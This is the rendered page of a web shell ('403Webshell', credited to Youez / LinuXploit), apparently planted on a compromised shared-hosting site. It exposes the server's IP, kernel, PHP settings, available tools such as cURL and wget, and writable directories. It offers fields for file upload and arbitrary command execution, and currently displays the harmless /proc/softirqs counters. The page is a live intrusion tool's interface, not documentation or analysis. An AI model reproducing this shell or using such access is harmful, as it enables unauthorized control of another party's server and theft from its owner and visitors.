403Webshell
Server IP : 185.216.8.13  /  Your IP : 216.73.216.187
Web Server : Apache
System : Linux webhost-vie2.sitetide.com 4.18.0-553.156.1.el8_10.x86_64 #1 SMP Mon Aug 17 17:52:57 UTC 2026 x86_64
User : medicalkn ( 9986)
PHP Version : 8.2.33
Disable Function : syslog
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/thread-self/root/proc/thread-self/root/proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/thread-self/root/proc/thread-self/root/proc/thread-self/root/proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      
          HI:          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER:   45732701   42694619   41143811   44540135   50790310   40464307   39760264   40871680   39330281   58417813   37195068   38856604
      NET_TX:    3525482    3438527    3371955    3288677    3608983    3205130    3065781   16380257    2895923   23281961    3428000    3405506
      NET_RX:    5416072    5516668    5689067    5933761    5892803    6121667    6291617  452579781    6721628  471018423    4945235    5155601
       BLOCK:          0          0          0          0          0          0          0          0          0          0          0          0
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:      21122      17786      15832      14793      15468      13834      13519   64754156      12765     843833      25510      22191
       SCHED:  128196076   83879421   68587211   62584250   59913476   57812565   56849250   56214322   55764909   65132206   56977483   56343141
     HRTIMER:        262        192        120        102        108        122         76        107         87      37626        407        278
         RCU:  706091411  722293223  723644562  721377059  676713780  711485473  711578509  706296263  706817051  803192612  724942490  713186537

Youez - 2016 - github.com/yon3zu
LinuXploit